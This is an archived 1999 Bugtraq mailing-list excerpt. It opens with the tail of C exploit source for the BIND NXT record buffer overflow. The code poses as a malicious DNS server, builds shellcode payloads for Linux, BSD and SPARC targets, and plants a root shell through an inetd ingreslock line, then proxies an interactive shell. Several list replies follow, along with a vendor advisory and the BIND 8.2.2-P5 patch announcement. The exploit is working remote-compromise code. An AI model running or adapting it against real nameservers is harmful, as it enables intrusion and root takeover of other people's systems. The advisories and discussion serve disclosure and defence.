void make_overflow(char *a)
{
int i;
unsigned long *b;
unsigned char *c;
char sbuf[4096];
if (archlist[arch].safe==0) /* linux */
{
memset(a,0x90,4134);
memcpy(a+3500,archlist[arch].code,archlist[arch].codesize);
if (command)
strcpy(a+3500+archlist[arch].codesize, command);
else
strcpy(a+3500+archlist[arch].codesize, "exit");
b=(unsigned long*)(a+4134);
for (i=0;i<20;i++)
*b++=archlist[arch].ret;
}
else if (archlist[arch].safe==1) /* bsd */
{
memset(a,0x90,4134);
memcpy(a+3300,archlist[arch].code,archlist[arch].codesize);
if (command)
strcpy(a+3300+archlist[arch].codesize, command);
else
strcpy(a+3300+archlist[arch].codesize, "exit");
b=(unsigned long*)(a+4134);
for (i=0;i<20;i++)
*b++=archlist[arch].ret;
}
else /*SPARC*/
{
memset(a,0x0,11000);
b=(unsigned long*)(a+4438);
for (i=0;i<1500;i++)
*b++=htonl(0xac15a16e);
c=(char *)b;
for (i=0;i<archlist[arch].codesize;i++)
*c++=archlist[arch].code[i];
if (command)
strcpy(c, command);
else
strcpy(c, "echo \"ingreslock stream tcp nowait root /bin/sh sh -i\" \
>>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob;/bin/rm -f /tmp/bob ");
b=(unsigned long*)(a+4166);
*b++=htonl(0xdeadbeef);
*b++=htonl(0xdeadbeef);
*b++=htonl(archlist[arch].safe); //i2 - significant
*b++=htonl(0xdeadbeef);
*b++=htonl(0xdeadbeef);
*b++=htonl(archlist[arch].safe); //i5 - significant
*b++=htonl(0xdeadbeef);
*b++=htonl(0xdeadbeef);
*b++=htonl(archlist[arch].safe); //o0 - significant
*b++=htonl(0xdeadbeef);
*b++=htonl(archlist[arch].safe); //o2 - significant
*b++=htonl(0xdeadbeef);
*b++=htonl(0xdeadbeef);
*b++=htonl(0xdeadbeef);
*b++=htonl(archlist[arch].safe); //o6 - significant
*b++=htonl(archlist[arch].ret); //o7 - retaddr
}
}
int form_response(HEADER *packet, char *buf)
{
char query[512];
int qtype;
HEADER *dnsh;
char *p;
char *walker;
memset(buf,0,sizeof(buf));
dnsh = (HEADER *) buf;
dnsh->id = packet->id;
dnsh->qr=1;
dnsh->aa=1;
dnsh->qdcount = htons(1);
dnsh->ancount = htons(1);
dnsh->arcount = htons(1);
dnsh->rcode = 0;
walker=(char*)(dnsh+1);
p=dnssprintflabel(query, (char *)packet, (char*)(packet+1));
query[strlen(query) - 1] = 0;
qtype=*((unsigned short *)p);
printf("%s type=%d\n",query, ntohs(qtype));
/* first, the query */
walker=dnsaddlabel(walker, query);
PUTSHORT(ntohs(qtype), walker);
//PUTSHORT(htons(T_PTR), walker);
PUTSHORT(1,walker);
/* then, our answer */
/* query IN A 1.2.3.4 */
walker=dnsaddlabel(walker, query);
PUTSHORT(T_A, walker);
PUTSHORT(1, walker);
PUTLONG(60*5, walker);
PUTSHORT(4, walker);
sprintf(walker,"%c%c%c%c",1,2,3,4);
walker+=4;
/* finally, we make named do something more interesting */
walker=dnsaddlabel(walker, query);
PUTSHORT(T_NXT, walker);
PUTSHORT(1, walker);
PUTLONG(60*5, walker);
/* the length of one label and our arbitrary data */
PUTSHORT(archlist[arch].length+7, walker);
PUTSHORT(6, walker);
sprintf(walker,"admadm");
walker+=6;
PUTSHORT(0, walker);
make_overflow(walker);
walker+=archlist[arch].length;
PUTSHORT(0, walker);
return walker-buf;
}
#define max(x,y) ((x)>(y)?(x):(y))
int proxyloop(int s)
{
char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;
sleep(1);
printf("Entering proxyloop..\n");
strcpy(snd, "cd /; uname -a; pwd; id;\n");
write(s, snd, strlen(snd));
for (;;)
{
FD_SET(fileno(stdin), &rset);
FD_SET(s, &rset);
maxfd = max(fileno(stdin), s) + 1;
select(maxfd, &rset, NULL, NULL, NULL);
if (FD_ISSET(fileno(stdin), &rset))
{
bzero(snd, sizeof(snd));
fgets(snd, sizeof(snd) - 2, stdin);
write(s, snd, strlen(snd));
}
if (FD_ISSET(s, &rset))
{
bzero(rcv, sizeof(rcv));
if ((n = read(s, rcv, sizeof(rcv))) == 0)
exit(0);
if (n < 0)
{
return -3;
}
fputs(rcv, stdout);
}
}
return 0;
}
int main(int argc, char **argv)
{
int s, fromlen, res, sl, s2;
struct sockaddr_in sa, from, to;
char buf[16384];
char sendbuf[16384];
unsigned short ts;
int i;
if (argc<2)
{
fprintf(stderr,"Usage: %s architecture [command]\n", argv[0]);
fprintf(stderr,"Available architectures:\n");
i=-1;
while(archlist[++i].id)
fprintf(stderr," %d: %s\n",archlist[i].id,archlist[i].name);
exit(1);
}
arch=atoi(argv[1])-1;
if (argc==3)
command=argv[2];
if ((s=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))==-1)
{
perror("socket");
exit(1);
}
bzero(&sa, sizeof sa);
sa.sin_family=AF_INET;
sa.sin_addr.s_addr=INADDR_ANY;
sa.sin_port=htons(53);
if (bind(s, (struct sockaddr *)&sa, sizeof(sa))==-1)
{
perror("bind");
exit(1);
}
do
{
fromlen=sizeof(from);
if ((res=recvfrom(s, buf, sizeof buf, 0, (struct sockaddr *)&from,
&fromlen)) == -1)
{
perror("recvfrom");
exit(1);
}
printf("Received request from %s:%d for ", inet_ntoa(from.sin_addr),
ntohs(from.sin_port));
sl=form_response((HEADER *)buf,sendbuf);
/* now lets connect to the nameserver */
bzero(&to, sizeof(to));
to.sin_family=AF_INET;
to.sin_addr=from.sin_addr;
to.sin_port=htons(53);
if ((s2=socket(AF_INET, SOCK_STREAM, 0))==-1)
{
perror("socket");
exit(1);
}
if (connect(s2, (struct sockaddr *)&to, sizeof to)==-1)
{
perror("connect");
exit(1);
}
ts=htons(sl);
write(s2,&ts,2);
write(s2,sendbuf,sl);
if (archlist[arch].safe>1)
close(s2);
} while (archlist[arch].safe>1); /* infinite loop for sparc */
proxyloop(s2);
exit(1);
}
(4482098) ------------------------------------------
4482126 1999-11-12 18:54 /33 rader/ Postmaster
Mottagare: Bugtraq (import) <8489>
Ärende: Re: your mail
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
X-Authentication-Warning: spiral.gw.tislabs.com: bwelling owned process doin
-bs
X-Sender: bwelling@spiral.gw.tislabs.com
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-ID: <Pine.LNX.4.10.9911111415130.18963-100000@spiral.gw.tislabs.com>
Date: Thu, 11 Nov 1999 14:39:18 -0500
Reply-To: Brian Wellington <bwelling@TISLABS.COM>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Brian Wellington <bwelling@TISLABS.COM>
X-To: BUGTRAQ@SECURITYFOCUS.COM
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To: <199911110238.DAA24292@sofuku.monster.org>
On Thu, 11 Nov 1999, Anonymous wrote:
> Ooh, those pesky NXT records. Like I process those every day.
> Fascinating read in RFC 2535, but suppose I don't have any NXT
> records in my own zones, under what circumstances will my DNS server
> commit the sin of "the processing of NXT records"? In other words,
> are all of us vulnerable (even caching-only name servers if so, I
> imagine!), or only people with NXT records? This makes a big difference!
Caching-only servers are also vulnerable. The NXT record is no
different that any other DNS record in this case. If someone is able
to make your server fetch a maliciously-constructed NXT record, it
will cause problems. A query to a caching server will force the
server to send a recursive query, which makes the caching server
vulnerable.
Brian
(4482126) ------------------------------------------(Ombruten)
4484693 1999-11-14 05:15 /51 rader/ Postmaster
Mottagare: Bugtraq (import) <8517>
Ärende: Re: BIND bugs of the month
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
Message-ID: <19991113011424.6999.qmail@cr.yp.to>
Date: Sat, 13 Nov 1999 01:14:24 -0000
Reply-To: "D. J. Bernstein" <djb@CR.YP.TO>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: "D. J. Bernstein" <djb@CR.YP.TO>
X-To: bugtraq@securityfocus.com
To: BUGTRAQ@SECURITYFOCUS.COM
A sniffing attacker can easily forge responses to your DNS
requests. He can steal your outgoing mail, for example, and intercept
your ``secure'' web transactions. This is obviously a problem.
We know how to solve this problem with cryptographic
techniques. DNSSEC has InterNIC digitally sign all DNS records,
usually through a chain of intermediate authorities. Attackers can't
forge the signatures.
Of course, this system still allows InterNIC to steal your outgoing
mail, and intercept your ``secure'' web transactions. We know how to
solve this problem too. The solution is simpler and faster than
DNSSEC, though it only works for long domain names: use cryptographic
signature key hashes as domain names.
But all this cryptographic work accomplishes _nothing_ if the servers
are subject to buffer overflows! An attacker doesn't have to bother
guessing or sniffing query times and IDs, and forging DNS responses,
if he can simply take over the DNS server.
This NXT buffer overflow isn't part of some old code that Paul Vixie
inherited from careless graduate students. It's new code. It's part
of BIND's DNSSEC implementation. I don't find the irony
amusing. Obviously ISC's auditing is inadequate.
Does anyone seriously believe that the current BIND code is secure? If
it isn't, adding DNSSEC to it doesn't help anybody. Is ISC going to
rewrite the client and server in a way that gives us confidence in
their security?
David R. Conrad writes:
> In addition, we recommend running your nameserver as non-root and
> chrooted (I know setting this up is non-trivial -- it'll be much, much
> easier in BINDv9).
``I wouldn't consider installing named any other way,'' I told Vixie
in September 1996. He didn't respond. Of course, DNSSEC is equally
useless either way; the only question is whether an attacker can also
take over the rest of the machine.
---Dan
(4484693) ------------------------------------------(Ombruten)
4484727 1999-11-14 05:54 /56 rader/ Postmaster
Mottagare: Bugtraq (import) <8520>
Ärende: [ Cobalt ] Security Advisory - Bind
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <382CBA03.4DCB65CF@cobaltnet.com>
Date: Fri, 12 Nov 1999 17:08:19 -0800
Reply-To: Jeff Bilicki <jeffb@COBALTNET.COM>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Jeff Bilicki <jeffb@COBALTNET.COM>
X-To: BugTraQ <bugtraq@securityfocus.com>
To: BUGTRAQ@SECURITYFOCUS.COM
Cobalt Networks -- Security Advisory -- 11.12.1999
Problem: A bug in the processing of NXT records can theoretically
allow an attacker to gain access to the system running the DNS server
at whatever privilege level the DNS server runs at. The full
description can be found at
http://www.isc.org/products/BIND/bind-security-19991108.html
Relevant products and architectures
Product Architecture Vulnerable to NXT
Qube1 MIPS no
Qube2 MIPS no
RaQ1 MIPS no
RaQ2 MIPS no
RaQ3 x86 yes
RPMS:
ftp://ftp.cobaltnet.com/pub/experimental/security/rpms/bind-8.2.2_P3-C2.i386.rpm
ftp://ftp.cobaltnet.com/pub/experimental/security/rpms/bind-devel-8.2.2_P3-C2.i386.rpm
ftp://ftp.cobaltnet.com/pub/experimental/security/rpms/bind-utils-8.2.2_P3-C2.i386.rpm
SRPMS:
ftp://ftp.cobaltnet.com/pub/experimental/security/srpms/bind-8.2.2_P3-C2.src.rpm
MD5 sum Package Name
-------------------------------------------------------------
1cf09350860f4880423a85d27e976383 bind-8.2.2_P3-C2.i386.rpm
ec5fba0ecd6a664dcbb4e1c9439ad7a5 bind-devel-8.2.2_P3-C2.i386.rpm
85fcfb6d05e8e2e6b8a64641037a106f bind-utils-8.2.2_P3-C2.i386.rpm
You can verify each rpm using the following command:
rpm --checksig [package]
To install, use the following command, while logged in as root:
rpm -U [package]
The package file format (pkg) for this fix is currently in testing,
and will be available in the near future.
Jeff Bilicki
Cobalt Networks
(4484727) ------------------------------------------(Ombruten)
4487262 1999-11-14 22:44 /127 rader/ Postmaster
Mottagare: Bugtraq (import) <8525>
Ärende: BIND 8.2.2-P5 release announcement
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <19991114034841.0268A1FF5A@lists.securityfocus.com>
Date: Sat, 13 Nov 1999 22:42:36 -0500
Reply-To: Roger Fajman
Sender: Bugtraq List
From: Roger Fajman
X-To: BUGTRAQ@SECURITYFOCUS.COM
To: BUGTRAQ@SECURITYFOCUS.COM
FYI for those discussing bind 8.2.2-P4, Patch 5 was just released...
To: bind-announce@isc.org
Subject: BIND 8.2.2-P5 release announcement
Date: Fri, 12 Nov 1999 23:20:25 -0800
From: Paul A Vixie
-----BEGIN PGP SIGNED MESSAGE-----
Some highlights vs. BIND 8.2.2:
Bug in named-xfer (from patchlevel 4). Portability to IPv6
versions of FreeBSD, OpenBSD, NetBSD. Portability
improvements (A/UX, AIX, IRIX, NetBSD, SCO, MPE/IX, NT).
"also-notify" option could cause memory allocation errors.
IXFR improvements (though client-side is still disabled).
Contributed software upgraded (including TIS's "dns_signer").
Several latent denial-of-service bugs fixed (from audits, not
abuse). New "make noesw" top-level target for removing
encumbered components.
Distribution files are:
ftp://ftp.isc.org/isc/bind/src/8.2.2-P5/bind-src.tar.gz
ftp://ftp.isc.org/isc/bind/src/8.2.2-P5/bind-doc.tar.gz
ftp://ftp.isc.org/isc/bind/src/8.2.2-P5/bind-contrib.tar.gz
PGP signature files are:
ftp://ftp.isc.org/isc/bind/src/8.2.2-P5/bind-src.tar.gz.asc
ftp://ftp.isc.org/isc/bind/src/8.2.2-P5/bind-doc.tar.gz.asc
ftp://ftp.isc.org/isc/bind/src/8.2.2-P5/bind-contrib.tar.gz.asc
MD5 checksums are:
414ddb56d706b5bec1d5135344f3ccb0 bind-contrib.tar.gz
32367327e613dd1cc75176b04185a773 bind-contrib.tar.gz.asc
32f60488e6c2c5ef583c96742f0c8f07 bind-doc.tar.gz
bb8898ae5a6b67b8586f144c842d8bac bind-doc.tar.gz.asc
fd8ab0befccc3546531904eac12cf6f7 bind-src.tar.gz
be7ca74d96db0858daa69a4ad6275058 bind-src.tar.gz.asc
top of CHANGES says:
--- 8.2.2-P5 released ---
895. [port] minor NT build and documentation improvements.
894. [bug] incorrect "key" statements in named.conf weren't
handled properly.
--- 8.2.2-P4 released ---
893. [bug] DNSSEC logic in bin/host broke -t any
892. [bug] multiple SOA on AXFR bug
--- 8.2.2-P3 released ---
891. [bug] options { also-notify { ... }; }; resulted in wrong
pointer being memput with the wrong size on reload.
890. [port] A/UX portability improved.
889. [port] added IPv6 portability for OpenBSD, NetBSD, FreeBSD.
--- 8.2.2-P2 released (internal release) ---
888. [support] add default: all tag to top src/Makefile so that "make"
will work properly in some OS'.
887. [bug] "dig ... axfr" was printing spurious "TSIG ok" msgs.
886. [support] top-level Makefile now included in all tarballs.
885. [support] IXFR improvements.
884. [bug] some deprecated NXT RR forms weren't ignored properly.
883. [support] "host" command can now try to verify dnssec signatures.
882. [contrib] dns_signer/ had some last minute problems (by author).
881. [bug] possible sprintf() overflow prevented.
880. [support] minor tweak to bin/dig/dig.c TSIG code to clarify
whether res_nsend or res_nsendsigned is being used.
879. [support] add "noesw" target to top-level Makefile (for PL1).
878. [port] aix4 HAS_INET6_STRUCTS was not being set based on the
existance of _IN6_ADDR_STRUCT.
877. [port] freebsd + KAME need a different Makefile.set
see INSTALL notes.
876. [port] IPv6 probe for MPE/IX, NetBSD.
875. [bug] bad NAPTR RRs could be loaded from zone files.
874. [port] update irix_patch in irix port.
873. [port] add SRC/tools to sco's make [std]links.
--- 8.2.2-REL released ---
...
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface
iQCVAwUBOC0QX22DN4pRurLtAQEZ2gQAjbn+8aMtlU4BcO+a4RHZOxcMAPe0vF1G
2NDmWz2HYm6hNLGF6KBMWiVo0K2cLQ2bqAOnFkjQkIcpzkPXpGZaB6A0smi9qWzY
U28sd0M9xCem733s3r5DXdf2USZNzi5QY2f7Ozzu2gRLks7V+4NMDfBQGt91xwod
Wf7Oh0yCtgQ=
=sExL
-----END PGP SIGNATURE-----
(4487262) ------------------------------------------(Ombruten)